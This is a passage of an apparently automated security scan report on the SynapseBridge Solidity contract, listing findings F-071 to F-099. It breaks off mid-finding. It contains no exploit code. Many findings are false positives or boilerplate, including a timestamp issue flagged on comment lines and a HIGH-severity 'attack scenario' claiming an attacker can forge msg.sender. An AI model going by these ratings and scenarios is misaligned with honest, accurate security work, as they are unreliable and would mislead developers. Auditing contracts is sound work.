Address parameter not validated against zero address

Vulnerable Code

```
1871 |  
1872 |     function getAPrecise() external view returns (uint256);  
1873 |  
1874 |     function getToken(uint8 index) external view returns (IERC20);  
1875 |  
>> 1876 |     function getTokenIndex(address tokenAddress) external view returns  
(uint8);  
1877 |  
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);  
1879 |  
1880 |     function getVirtualPrice() external view returns (uint256);  
1881 |
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-071. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1960
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```
1955 | }
1956 |
1957 | // bridge/SynapseBridge.sol
1958 |
1959 | interface IERC20Mintable is IERC20 {
>> 1960 |     function mint(address to, uint256 amount) external;
1961 | }
1962 |
1963 | contract SynapseBridge is Initializable, AccessControlUpgradeable,
ReentrancyGuardUpgradeable, PausableUpgradeable {
1964 |     using SafeERC20 for IERC20;
1965 |     using SafeERC20 for IERC20Mintable;
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-072. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1993
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-073. missing_zero_address_check

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	5.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2066
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Address parameter not validated against zero address

Vulnerable Code

```

2061 |
2062 |     // v2 events
2063 |     event TokenRedeemV2(bytes32 indexed to, uint256 chainId, IERC20 token,
uint256 amount);
2064 |
2065 |     // VIEW FUNCTIONS ***/
>> 2066 |     function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |         return fees[tokenAddress];
2068 |     }
2069 |
2070 |     function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |         return kappaMap[kappa];

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add `require(addr != address(0))` check

References

- OWASP Smart Contract Top 10

F-074. use_of_block_timestamp

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:47
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Use of block.timestamp for time-sensitive logic - can be manipulated by miners

Vulnerable Code

```

42 |      * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
43 |      * of certain opcodes, possibly making contracts go over the 2300 gas
limit
44 |      * imposed by `transfer`, making them unable to receive funds via
45 |      * `transfer`. {sendValue} removes this limitation.
46 |      *
>> 47 |      * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-
transfer-now/[Learn more].
48 |      *
49 |      * IMPORTANT: because control is transferred to `recipient`, care must be
50 |      * taken to not create reentrancy vulnerabilities. Consider using
51 |      * {ReentrancyGuard} or the
52 |      * https://solidity.readthedocs.io/en/v0.5.11/security-
considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-
interactions pattern].

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Consider using block.number or an oracle for time-critical operations

References

- SWC-116
- OWASP Smart Contract Top 10

F-075. use_of_block_timestamp

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:235
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

Use of block.timestamp for time-sensitive logic - can be manipulated by miners

Vulnerable Code

```

230 |      * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
231 |      * of certain opcodes, possibly making contracts go over the 2300 gas
limit
232 |      * imposed by `transfer`, making them unable to receive funds via
233 |      * `transfer`. {sendValue} removes this limitation.
234 |      *
>> 235 |      * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-
transfer-now/[Learn more].
236 |      *
237 |      * IMPORTANT: because control is transferred to `recipient`, care must be
238 |      * taken to not create reentrancy vulnerabilities. Consider using
239 |      * {ReentrancyGuard} or the
240 |      * https://solidity.readthedocs.io/en/v0.5.11/security-
considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-
interactions pattern].

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Consider using block.number or an oracle for time-critical operations

References

- SWC-116
- OWASP Smart Contract Top 10

F-076. missing_event_emission

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1988
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

State-changing function does not emit an event for off-chain tracking

Vulnerable Code

```

1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |
>> 1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
1993 |     function setWethAddress(address payable _wethAddress) external {

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Emit events for all state-changing operations

References

- OWASP Smart Contract Top 10

F-077. missing_event_emission

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1993
Status	Open (28% conf.)
Detected By	fouranalyzer

Description

State-changing function does not emit an event for off-chain tracking

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Emit events for all state-changing operations

References

- OWASP Smart Contract Top 10

F-078. loop_length_caching

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2000
Status	Open (20% conf.)
Detected By	fouranalyzer

Description

Array length accessed in loop condition - cache for gas savings

Vulnerable Code

```

1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
>> 2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }
2004 |
2005 |     event TokenDeposit(address indexed to, uint256 chainId, IERC20 token,
uint256 amount);

```

Impact Analysis

Impact assessment pending.

Recommendation

Cache array.length in a local variable before the loop

References

- OWASP Smart Contract Top 10

F-079. eth-send-unchecked-address

PROPERTY	VALUE
Severity	HIGH

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2107 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

Vulnerable Code

```

2102 |      * @param to address on other chain to bridge assets to
2103 |      * @param chainId which chain to bridge assets onto
2104 |      * @param token ERC20 compatible token to deposit into the bridge
2105 |      * @param amount Amount in native token decimals to transfer cross-chain
pre-fees
2106 |      **/
>> 2107 |      function deposit(
2108 |          address to,
2109 |          uint256 chainId,
2110 |          IERC20 token,
2111 |          uint256 amount
2112 |      ) external nonReentrant whenNotPaused {

```

Impact Analysis

Significant financial loss or contract compromise possible. Exploitation requires moderate effort but impact is severe.

Attack Scenario

An attacker exploits the lack of checks on `msg.sender` to redirect funds intended for a legitimate recipient to an attacker-controlled address, potentially draining the contract of funds.

Step-by-step: 1. Step 1: The attacker identifies the intended recipient's address and prepares an attacker-controlled address to receive funds. 2. Step 2: The attacker manipulates the `msg.sender` to mimic the intended recipient's address when the contract attempts to send funds. 3. Step 3: The attacker triggers the function that sends funds, causing the contract to send the funds to the attacker-controlled address instead of the intended recipient. 4. Step 4: The attacker withdraws the funds from the attacker-controlled address.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-080. eth-send-unchecked-address

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2174 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

Vulnerable Code

```

2169 |      * @param token ERC20 compatible token to deposit into the bridge
2170 |      * @param amount Amount in native token decimals to transfer cross-chain
post-fees
2171 |      * @param fee Amount in native token decimals to save to the contract as
fees
2172 |      * @param kappa kappa
2173 |      **/
>> 2174 |      function mint(
2175 |          address payable to,
2176 |          IERC20Mintable token,
2177 |          uint256 amount,
2178 |          uint256 fee,
2179 |          bytes32 kappa

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Attack Scenario

An attacker exploits the lack of checks on `msg.sender` to redirect funds intended for a legitimate recipient to an attacker-controlled address, potentially draining the contract of funds.

Step-by-step: 1. Step 1: The attacker identifies the intended recipient's address and prepares an attacker-controlled address to receive funds. 2. Step 2: The attacker manipulates the `msg.sender` to mimic the intended recipient's address when the contract attempts to send funds. 3. Step 3: The attacker triggers the function that sends funds, causing the contract to send the funds to the attacker-controlled address instead of the intended recipient. 4. Step 4: The attacker withdraws the funds from the attacker-controlled address.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-081. eth-send-unchecked-address

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2205 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

Vulnerable Code

```

2200 |      * @param tokenIndexFrom the token the user wants to swap from
2201 |      * @param tokenIndexTo the token the user wants to swap to
2202 |      * @param minDy the min amount the user would like to receive, or revert
to only minting the SynERC20 token crosschain.
```

```

2203 |      * @param deadline latest timestamp to accept this transaction
2204 |      **/
>> 2205 |      function depositAndSwap(
2206 |          address to,
2207 |          uint256 chainId,
2208 |          IERC20 token,
2209 |          uint256 amount,
2210 |          uint8 tokenIndexFrom,

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Attack Scenario

An attacker exploits the lack of checks on `msg.sender` to redirect funds intended for a legitimate recipient to an attacker-controlled address, potentially draining the contract of funds.

Step-by-step: 1. Step 1: The attacker identifies the intended recipient's address and prepares an attacker-controlled address to receive funds. 2. Step 2: The attacker manipulates the `msg.sender` to mimic the intended recipient's address when the contract attempts to send funds. 3. Step 3: The attacker triggers the function that sends funds, causing the contract to send the funds to the attacker-controlled address instead of the intended recipient. 4. Step 4: The attacker withdraws the funds from the attacker-controlled address.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-082. eth-send-unchecked-address

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2390 (unknown)
Status	Open (45% conf.)

PROPERTY	VALUE
Detected By	aderyn

Description

Consider introducing checks for `msg.sender` to ensure the recipient of the money is as intended.

Vulnerable Code

```

2385 |      * @param swapTokenIndex Specifies which of the underlying LP assets the
nodes should attempt to redeem for
2386 |      * @param swapMinAmount Specifies the minimum amount of the underlying
asset needed for the nodes to execute the redeem/swap
2387 |      * @param swapDeadline Specifies the deadline that the nodes are allowed
to try to redeem/swap the LP token
2388 |      * @param kappa kappa
2389 |      **/
>> 2390 |      function withdrawAndRemove(
2391 |          address to,
2392 |          IERC20 token,
2393 |          uint256 amount,
2394 |          uint256 fee,
2395 |          ISwap pool,

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Attack Scenario

An attacker exploits the lack of checks on `msg.sender` to redirect funds intended for a legitimate recipient to an attacker-controlled address, potentially draining the contract of funds.

Step-by-step: 1. Step 1: The attacker identifies the intended recipient's address and prepares an attacker-controlled address to receive funds. 2. Step 2: The attacker manipulates the `msg.sender` to mimic the intended recipient's address when the contract attempts to send funds. 3. Step 3: The attacker triggers the function that sends funds, causing the contract to send the funds to the attacker-controlled address instead of the intended recipient. 4. Step 4: The attacker withdraws the funds from the attacker-controlled address.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-083. unchecked-low-level-call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2190 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

The return value of the low-level call is not checked, so if the call fails, the Ether will be locked in the contract. If the low level is used to prevent blocking operations, consider logging failed calls. Ensure that the return value of a low-level call is checked or logged.

Vulnerable Code

```

2185 |         fees[address(token)] = fees[address(token)].add(fee);
2186 |         emit TokenMint(to, token, amount.sub(fee), fee, kappa);
2187 |         token.mint(address(this), amount);
2188 |         IERC20(token).safeTransfer(to, amount.sub(fee));
2189 |         if (chainGasAmount != 0 && address(this).balance > chainGasAmount) {
>> 2190 |             to.call.value(chainGasAmount)("");
2191 |         }
2192 |     }
2193 |
2194 |     /**
2195 |      * @notice Relays to nodes to both transfer an ERC20 token cross-chain,
and then have the nodes execute a swap through a liquidity pool on behalf of the user.

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-084. unchecked-low-level-call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2300 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

The return value of the low-level call is not checked, so if the call fails, the Ether will be locked in the contract. If the low level is used to prevent blocking operations, consider logging failed calls. Ensure that the return value of a low-level call is checked or logged.

Vulnerable Code

```

2295 |         require(!kappaMap[kappa], "Kappa is already present");
2296 |         kappaMap[kappa] = true;
2297 |         fees[address(token)] = fees[address(token)].add(fee);
2298 |         // Transfer gas airdrop
2299 |         if (chainGasAmount != 0 && address(this).balance > chainGasAmount) {
>> 2300 |             to.call.value(chainGasAmount)("");
2301 |         }
2302 |         // first check to make sure more will be given than min amount
required
2303 |         uint256 expectedOutput = ISwap(pool).calculateSwap(tokenIndexFrom,
tokenIndexTo, amount.sub(fee));
2304 |
2305 |         if (expectedOutput >= minDy) {

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- SWC-104
- OWASP Smart Contract Top 10

F-085. costly-loop

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:2000 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Invoking `SSTORE` operations in loops may waste gas. Use a local variable to hold the loop computation result.

Vulnerable Code

```

1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
>> 2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }
2004 |
2005 |     event TokenDeposit(address indexed to, uint256 chainId, IERC20 token,
uint256 amount);

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-086. dead-code

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	26%
Location	SynapseBridge.flat.sol:1365 (unknown)
Status	Open (26% conf.)
Detected By	aderyn

Description

Functions that are not used. Consider removing them.

Vulnerable Code

```
1360 | *
1361 | * Requirements:
1362 | *
1363 | * - `to` cannot be the zero address.
1364 | */
>> 1365 | function _mint(address account, uint256 amount) internal virtual {
1366 |     require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |     _beforeTokenTransfer(address(0), account, amount);
1369 |
1370 |     _totalSupply = _totalSupply.add(amount);
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-087. dead-code

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	26%
Location	SynapseBridge.flat.sol:1424 (unknown)
Status	Open (26% conf.)
Detected By	aderyn

Description

Functions that are not used. Consider removing them.

Vulnerable Code

```
1419 | *
1420 | * WARNING: This function should only be called from the constructor. Most
1421 | * applications that interact with token contracts will not expect
1422 | * {decimals} to ever change, and may work incorrectly if it does.
1423 | */
>> 1424 | function _setupDecimals(uint8 decimals_) internal virtual {
1425 |     _decimals = decimals_;
1426 | }
1427 |
1428 | /**
1429 | * @dev Hook that is called before any transfer of tokens. This includes
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-088. empty-block

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1065 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Consider removing empty blocks.

Vulnerable Code

```

1060 | abstract contract ContextUpgradeable is Initializable {
1061 |     function __Context_init() internal initializer {
1062 |         __Context_init_unchained();
1063 |     }
1064 |
>> 1065 |     function __Context_init_unchained() internal initializer {
1066 |     }
1067 |     function _msgSender() internal view virtual returns (address payable) {
1068 |         return msg.sender;
1069 |     }
1070 |

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-089. empty-block

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1442 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Consider removing empty blocks.

Vulnerable Code

```

1437 |      * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
1438 |      * - `from` and `to` are never both zero.
1439 |      *
1440 |      * To learn more about hooks, head to xref:R00T:extending-
contracts.adoc#using-hooks[Using Hooks].
1441 |      */
>> 1442 |      function _beforeTokenTransfer(address from, address to, uint256 amount)
internal virtual { }
1443 |  }
1444 |
1445 |  // node_modules/@openzeppelin/contracts-upgradeable/utils/
PausableUpgradeable.sol
1446 |
1447 |  /**

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-090. empty-block

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1651 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Consider removing empty blocks.

Vulnerable Code

```
1646 |     function __AccessControl_init() internal initializer {
1647 |         __Context_init_unchained();
1648 |         __AccessControl_init_unchained();
1649 |     }
1650 |
>> 1651 |     function __AccessControl_init_unchained() internal initializer {
1652 |     }
1653 |     using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
1654 |     using AddressUpgradeable for address;
1655 |
1656 |     struct RoleData {
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-091. internal-function-used-once

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:90 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

Vulnerable Code

```

85 |      * @dev Same as {xref-Address-functionCall-address-bytes-}
[ `functionCall` ], but with
86 |      * `errorMessage` as a fallback revert reason when `target` reverts.
87 |      *
88 |      * _Available since v3.1._
89 |      */
>> 90 |      function functionCall(address target, bytes memory data, string memory
errorMessage) internal returns (bytes memory) {
91 |          return functionCallWithValue(target, data, 0, errorMessage);
92 |      }
93 |
94 |      /**
95 |      * @dev Same as {xref-Address-functionCall-address-bytes-}
[ `functionCall` ],

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-092. internal-function-used-once

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:140 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

Vulnerable Code

```

135 |      * @dev Same as {xref-Address-functionCall-address-bytes-string-}
[`functionCall`],
136 |      * but performing a static call.
137 |      *
138 |      * _Available since v3.3._
139 |      */
>> 140 |      function functionStaticCall(address target, bytes memory data, string
memory errorMessage) internal view returns (bytes memory) {
141 |          require(isContract(target), "Address: static call to non-contract");
142 |
143 |          // solhint-disable-next-line avoid-low-level-calls
144 |          (bool success, bytes memory returndata) = target.staticcall(data);
145 |          return _verifyCallResult(success, returndata, errorMessage);

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-093. internal-function-used-once

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:164 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

Vulnerable Code

```

159 |      * @dev Same as {xref-Address-functionCall-address-bytes-string-}
[`functionCall`],
160 |      * but performing a delegate call.
161 |      *
162 |      * _Available since v3.4._
163 |      */
>> 164 |      function functionDelegateCall(address target, bytes memory data, string
memory errorMessage) internal returns (bytes memory) {
165 |          require(isContract(target), "Address: delegate call to non-contract");
166 |
167 |          // solhint-disable-next-line avoid-low-level-calls
168 |          (bool success, bytes memory returndata) = target.delegatecall(data);
169 |          return _verifyCallResult(success, returndata, errorMessage);

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-094. internal-function-used-once

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:278 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

Vulnerable Code

```

273 |      * @dev Same as {xref-Address-functionCall-address-bytes-}
[`functionCall`], but with
274 |      * `errorMessage` as a fallback revert reason when `target` reverts.
275 |      *
276 |      * _Available since v3.1._
277 |      */
>> 278 |      function functionCall(address target, bytes memory data, string memory
errorMessage) internal returns (bytes memory) {
279 |          return functionCallWithValue(target, data, 0, errorMessage);
280 |      }
281 |
282 |      /**
283 |      * @dev Same as {xref-Address-functionCall-address-bytes-}
[`functionCall`],

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-095. internal-function-used-once

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:328 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Instead of separating the logic into a separate function, consider inlining the logic into the calling function. This can reduce the number of function calls and improve readability.

Vulnerable Code

```

323 |      * @dev Same as {xref-Address-functionCall-address-bytes-string-}
[`functionCall`],
324 |      * but performing a static call.
325 |      *
326 |      * _Available since v3.3._
327 |      */
>> 328 |      function functionStaticCall(address target, bytes memory data, string
memory errorMessage) internal view returns (bytes memory) {
329 |          require(isContract(target), "Address: static call to non-contract");
330 |
331 |          // solhint-disable-next-line avoid-low-level-calls
332 |          (bool success, bytes memory returndata) = target.staticcall(data);
333 |          return _verifyCallResult(success, returndata, errorMessage);

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-096. modifier-used-only-once

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1507 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Consider removing the modifier or inlining the logic into the calling function.

Vulnerable Code

```

1502 |      *
1503 |      * Requirements:
1504 |      *
1505 |      * - The contract must be paused.
1506 |      */
>> 1507 |      modifier whenPaused() {
1508 |          require(paused(), "Pausable: not paused");
1509 |          _;
1510 |      }
1511 |
1512 |      /**

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-097. redundant-statement

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:374 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Remove the redundant statement.

Vulnerable Code

```

369 |     function _msgSender() internal view virtual returns (address payable) {
370 |         return msg.sender;
371 |     }
372 |
373 |     function _msgData() internal view virtual returns (bytes memory) {
>> 374 |         this; // silence state mutability warning without generating bytecode
- see https://github.com/ethereum/solidity/issues/2691
375 |         return msg.data;
376 |     }
377 | }
378 |
379 | // node_modules/@openzeppelin/contracts-upgradeable/utils/
EnumerableSetUpgradeable.sol

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-098. redundant-statement

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1072 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

Remove the redundant statement.

Vulnerable Code

```

1067 |     function _msgSender() internal view virtual returns (address payable) {
1068 |         return msg.sender;
1069 |     }
1070 |
1071 |     function _msgData() internal view virtual returns (bytes memory) {
>> 1072 |         this; // silence state mutability warning without generating bytecode
- see https://github.com/ethereum/solidity/issues/2691
1073 |         return msg.data;
1074 |     }
1075 |     uint256[50] private __gap;
1076 | }
1077 |

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-099. state-change-without-event

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	45%
Location	SynapseBridge.flat.sol:1988 (unknown)
Status	Open (45% conf.)
Detected By	aderyn

Description

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

Vulnerable Code

```

1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |
>> 1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
1993 |     function setWethAddress(address payable _wethAddress) external {

```

Impact Analysis

